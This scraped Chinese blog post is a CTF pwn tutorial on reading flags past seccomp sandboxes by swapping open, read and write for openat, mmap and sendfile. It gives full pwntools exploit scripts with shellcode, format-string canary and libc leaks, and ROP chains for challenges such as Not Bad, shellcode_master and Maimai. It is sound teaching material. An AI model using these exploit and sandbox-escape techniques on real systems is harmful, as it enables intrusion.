当前位置: 首页 > news >正文

net建站系统手机官网

net建站系统,手机官网,郑州seo关键词优化公司,如何建立内部网站经典ORW: 例题(极客大挑战 2019 Not Bad): 这里使用mmap函数创造了一个内存映射区域 从地址0x123000开始,大小位0x1000 权限为可写可执行(可读0x1,可写0x2,可执行0x3)…

经典ORW:

例题(极客大挑战 2019 Not Bad):

这里使用mmap函数创造了一个内存映射区域

从地址0x123000开始,大小位0x1000

权限为可写可执行(可读0x1,可写0x2,可执行0x3)

设置为私有映射(MAP_PRIVATE)和匿名映射(MAP_ANONYMOUS

常见的标志的值:

  • MAP_SHARED:1
  • MAP_PRIVATE:2
  • MAP_ANONYMOUS:0x20 (32)
  • MAP_FIXED:0x10 (16)
  • MAP_LOCKED:0x2000 (8192)
  • MAP_NORESERVE:0x4000 (16384)

将要映射的文件描述符设为-1,表示不关联任何文件

剩下的0指的就是偏移量了,没有偏移

这里首先初始化将所有系统调用禁用,并且后面使用seccomp_rule_add函数添加了可使用的系统调用。

根据64位系统调用号,分别是:

read:系统调用号为0

write:系统调用号为1

open:系统调用号为2

exit:系统调用号为60

因此系统调用exceve就没法用了。

解题思路:

我尝试在栈上构造shellcode,但是始终因为字节大小稍微大一点没法进行。所以只能将shellcode写入mmap所创建的空间中了,正好此空间可写可执行。

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./bad')
p=remote('node5.buuoj.cn',26264)
jmprsp=0x400A01
mmap=0x123000readmmap=asm(shellcraft.read(0,mmap,100))
callmmap=asm('''
mov rax,0x123000
call rax
''')
moversp=asm('''
sub rsp,0x30
call rsp
''')
payload=readmmap+callmmap
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmprsp)+moversp
p.sendlineafter(b'have fun!',payload)opens=asm(shellcraft.open('./flag'))
reads=asm(shellcraft.read(3,mmap,100))
writes=asm(shellcraft.write(1,mmap,100))
payload=opens+reads+writes
p.sendline(payload)p.interactive()

这里来解释一下部分exp

补充点1:reads=asm(shellcraft.read(3,mmap,100))这里为什么填3而不是0?

答:这个是文件描述符的知识点,在linux中系统会默认设置0,1,2三个文件描述符,而这三个文件描述符代表的分别是标准输入(就是我们从显示器输入的),标准输出,标准错误输出。在我们没有关闭任何一个文件描述符时,我们再打开一个文件,那就会使文件描述符3指向那个文件,以此类推。这里我们打开了flag,所以flag的文件描述符为3。当然为了省事,也可以写成reads=asm(shellcraft.read('rax',mmap,100))

补充点2:在写汇编代码时记得使用context标注系统位,比如64位。

补充点3:opens=asm(shellcraft.open('./flag'))在远程中要写./flag而不是仅仅flag而已。

禁用read:

用mmap代替read:

例题(VNCTF2024 shellcode_master):

在sandbox函数中,函数先使用了seccomp_init初始化,允许了所有系统调用,再用seccomp_rule_add来禁用掉了部分系统调用,其中包括execve和read

seccomp_init函数可以进行系统调用全禁用和全允许初始化

seccomp_rule_add函数可以运行或禁用部分系统调用

题目很明显地提示要使用shellcode,我们可以使用两种方式去编写shellcode

自己编写shellcode:

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./shellcode')shellcode='''
push 0
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi,0x10000
mov rsi,0x100
mov rdx,1
mov rcx,1
mov r8,rax
mov r9,0
mov rax,9
syscall
mov rdi,1
mov rsi,0x10000
mov rdx,0x100
mov rax,1
syscall
'''
shellcode=asm(shellcode)
print(len(shellcode))
p.sendlineafter(b'show me your power',shellcode)
p.interactive()

用pwntools自带的shellcraft编写shellcode:

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./shellcode')shellcode=asm(shellcraft.open('flag'))
shellcode+=asm(shellcraft.mmap(0x10000,0x100,1,1,'eax',0))
shellcode+=asm(shellcraft.write(1,0x10000,0x100))
p.sendlineafter(b'show me your power',shellcode)
p.interactive()

补充点1:mmap的初始地址是进程地址,在题目中mmap的初始地址需页对齐,即需为0x1000(4kb)的整数倍。即使在系统调用mmap那里没有页对齐系统也会自动对齐,只是当我们在mmap那边对齐之后,用write会方便一点。

补充点2:即使我们mmap的起始地址是0x1000,程序也会将文件内容读取到0x10000地址。

禁用open:

用openat代替open:

例题(NKCTF2024 Maimai查分器):

完整exp(远程打不通,本地可以):

from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):p.sendline(b'14')p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
payload=b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)p.interactive()

但是在比赛的时候,getshell之后根本没权限打开flag,所以只能考虑用orw直接读文件。

完整exp:

from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):p.sendline(b'14')p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx_r12=libcbase+0x11f2e7
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
reads=libcbase+libc.sym['read']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p%8$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
p.recvuntil(b'0x')
onestack=int((b'0x'+p.recv(12)),16)
print(hex(onestack))
payload=b'/flag\x00'
payload=payload.ljust(0x28,b'a')
payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)
print(len(payload))
openat=libcbase+libc.sym['openat']
puts=libcbase+libc.sym['puts']
payload=p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0)*2+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
payload+=p64(pop_rdi)+p64(onestack-0x70)+p64(puts)
p.sendline(payload)
p.interactive()

#补充点1:

payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)

这里的的onestack+0x8是为了在之前构造的ROP链里接上新输入的ROP链

#补充点2:0x80的大小不足以读文件,所以要再次构建read函数,设置大的输入字节

#补充点3:openat函数必须要填入三个参数,

  1. 第一个参数:文件描述符,用于指定路径解析的起点。
  2. 第二个参数:文件路径名,要打开的文件的路径。
  3. 第三个参数:标志位,用于指定文件的打开方式和权限等信息。

 这里文件描述符设置为0是表示在当前目录解析路径,标志位设置为0是用默认方式打开文件

 

禁用write:

用sendfile代替write:

例题(XYCTF2024 invisible_flag):

这里禁用了很多关键函数,只能全代替了。

用openat代替open,用mmap代替read,用sendfile代替write

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./vuln')
p=remote('xyctf.top',44849)shellcode=shellcraft.openat(0,'/flag',0)
shellcode+=shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)
shellcode=asm(shellcode)
p.sendlineafter(b'show your magic again',shellcode)
p.interactive()

持续更新

http://www.yayakq.cn/news/700811/

相关文章:

  • 北海网站设计王野天
  • 关于建设工程的网站如何自己建立网站
  • vue.js 可以做网站吗电子商务网站建设代码
  • 网站怎样设计网址大全wordpress添加侧栏广告
  • 网站后缀意思如何做自己的公司网站
  • 无锡网站制作优化推广公司动漫制作专业属于什么类型专业
  • 大学网站建设目标淄博哪里有做网站的
  • 网站建设全包广州湖北住房城乡建设厅网站
  • 网站开发php支付接口哪有学装修设计的学校
  • 亚星管理网代理平台入口网站的后续优化方案
  • 企业如何推广网站怀化工程建设信息网老网站
  • 在哪里个网站找专业做ps的人太原市网站制作
  • 傻瓜式一键建站系统房屋设计师
  • pc端和移动端的网站区别是什么意思如何建设网站 企业
  • 电子商务网站开发技术支持站多多 福州网站建设
  • 电子商务网站建设结业论文淘宝推广联盟
  • php网站开发专业是做什么的网页制作工具有什么
  • 深圳网站建设公司联朔州网站设计公司
  • 企业网站开发服务器抖音餐厅代运营方案
  • 妇女之家网站建设方案android开发app
  • 网站点在线表情包制作网站
  • 自己做的网站怎么爬数据库高清素材视频去哪里找
  • 网站关键词重要性江苏建设工程招投标网站
  • 电商网站开发分销商网站开发的关键计算机资源计划
  • 网站建设实验感想产品品牌推广公司
  • 网站建设需要多大的空间网上做调查赚钱的网站有哪些
  • 滕建建设集团网站阳江房产网
  • 什么网站是vue做的短视频代运营费用明细
  • 深圳的网站建设公司wordpress模板淘宝客模板下载
  • 地方网站发展网站正在建设中下载